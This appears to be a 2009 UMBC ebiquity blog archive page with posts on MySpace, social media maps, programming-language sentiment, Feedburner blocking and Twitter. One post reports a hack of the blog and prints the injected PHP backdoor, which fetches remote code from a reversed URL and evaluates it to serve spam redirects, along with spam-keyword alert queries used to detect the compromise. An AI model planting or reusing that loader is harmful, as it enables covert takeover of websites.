UMBC ebiquity
Financial Times has a long article describing the The rise and fall of MySpace. It’s a story full of bad timing, missed opportunities, suits vs. geeks, personalities, and, I suppose, random chance events. I hope at least a few fossils from our age will be preserved for future generations to study.
Visualizing social media use in 16 countries
December 5th, 2009Trendstream’s Global Web Index has a visualization, Global Map of Social Web, that shows the uptake of different social media systems in 16 countries around the world.
Full size pdf
It’s a little busy, but it overlays a lot of information over the world map.
“The map visualises the number of active bloggers, social networkers, video sharers, photo uploaders and microbloggers. The length of the curve represents the penetration and the size represents the universe size. We have also included the actual numbers so you can use and apply the universe estimates.”
I was surprised to see the variation in popularity of the different modalities.
(via Mashable)
Ebiquity Google alert tripwires triggered
May 21st, 2009Yesterday we discovered that our ebiquity blog had been hacked. It looks like a vulnerability in our old WordPress installation was exploited to add the following code to the top of our blog’s main page.
< ?php $site = create_function('','$cachedir="/tmp/"; $param="qq"; $key=$_GET[$param]; $rand="1239aef"; $said=23; $type=1; $stprot="http://blogwp.info"; '.file_get_contents(strrev("txt.mrahp/elpmaxe/deliated/ofni.pwgolb//:ptth"))); $site(); ?>
This code caused URLs like https://ebiquity.umbc.edu/?qq=1671 to redirect to a spam page. We’ve upgraded the blog to the latest WordPress release, which hopefully will prevent this exploit from being used again. (Notice the reversed URL — LOL!)
We discovered the problem though a clever trick I read about last year on a site I’ve forgotten (maybe here). We created several Google alerts triggered by the appearance of spam-related words on pages apparently hosted by ebiquity.umbc.edu. For example:
- adult OR girls OR sex OR sexx OR XXX OR porn OR pornography site:ebiquity.umbc.edu
- viagra OR cialis OR levitra OR Phentermine OR Xanax site:ebiquity.umbc.edu
I would get several false positives a month from these alerts triggered by non-spam entries on our site. In fact, *this* post will generate a false positive. But yesterday I got a true positive. Looking at the log files, I think I got the alert within a few hours of when our blog was hacked. So I am happy to say that this worked and worked well. Without this alert, it might have taken weeks to notice the problem.
The results of this Google search reveal many compromised blogs from the .edu domain.
Can a programming language make you happy?
May 11th, 2009We all know that some programming languages are a joy to use and others can be damned painful. Lukas Biewald ran an interesting experiment to gather some data about this in his post, The Programming Language with the Happiest Users.
“Which languages make programmers the happiest? … I decided to do a little market research. I scraped the top 150 most recent tweets on Twitter for the query “X language” where X was one of {COBOL, Ruby, Fortran, Python, Visual Basic, Perl, Java, Haskell, Lisp, C}. Then I asked three people on Amazon Mechanical Turk to verify that the tweet was on the topic. If so, I asked if the tweet seemed positive, negative or neutral. …”
Great idea and a nice use of Amazon Mechanical Turk!
Storms on Planet Social Media Research
May 7th, 2009
We maintain Planet Social Media Research (SMR) as a feed aggregator for a set of blogs relevant to research in social media systems. A few days ago I noticed that it wasn’t including new posts from some of the blogs. After updating the Planet Venus software we use and poking around I discovered that our server is unable to access any feeds that resolve to Feedburner.
Apparently Feedburner has a blacklist of IP addresses that it blocks and our server must now be on it. We have a request in to straighten this out and hope that everything will be back to normal very soon. ( I was to get our own blog back onto Planet SMR because I reconfigured the system to revert to the old, non-Feedburner feed.)
We’ve not yet heard from Feedburner/Google and don’t know why we are on their blacklist. It’s unlikely to be a result of our accessing feeds too frequently: we rebuild the site and aggregated feed once an hour and only about ten of our feeds resolve to feedburner.
My speculation is that this is collateral damage in the global war on spam. The easiest way for splogs (spam blogs) to get content is to hijack feeds from other blogs. Web spammers can do even better at disguising their splogs as legitimate sites if they aggregate several feeds that are topically related.
One way to fight such splogs is to deny them access to the feeds. So Google could be trying to protect Feedburner users and also be a good steward of the the Web environment by blocking suspected web spammers from the feeds hosted by Feedburner.
So, my guess is that the Google thinks that the Planet SMR site is a splog. We are not, of course. We only include the feeds of blogs that want to be on SMR. We also do not host any ads, which is a motivation for most splogs.
If our speculation is right, and Google is blocking our access because it thinks we are a splog site, then there will be many other legitimate feed aggregator sites that have or soon will have this problem.
By the way — we are always interested in suggestions for new blogs to add to Planet SMR. If you have or know of one, contact us as planet-smr at cs.umbc.edu.
update 5/8: We’ve identified and solved the problem, thanks to Google Freebase ‘community expert’ Franklin Tse. The problem was due to our having an old entry for the freebase IP address in the server’s /etc/hosts table. I think we added when we were having some technical difficulties some years ago and wanted to keep our key services running smoothly. I guess the trouble with quick temporary hacks is that they’re easy to forget and come back to bite you.
Twitter vs. Facebook: fad vs. need?
April 3rd, 2009Earlier this week the Baltimore Sun’s Andrew Ratner had a story on Twitter, When did Twitter take over the universe?. The story had this interesting quote from UMBC’s Zeynep Tufekci:
Some people who study technology aren’t sure Twitter will endure.
“Frankly, I think a lot of twittering is somewhat faddish, whereas I never thought Facebook was. … People I interviewed and surveyed would talk of serious feeling of deprivation without Facebook and I’ve hardly heard anyone say that about twitter,” Zeynep Tufekci, an assistant professor who teaches the sociology of technology at the University of Maryland, Baltimore County, wrote in an e-mail. “Will people Twitter five years from now? Perhaps, but I would not be surprised if they did not, or at least as much.”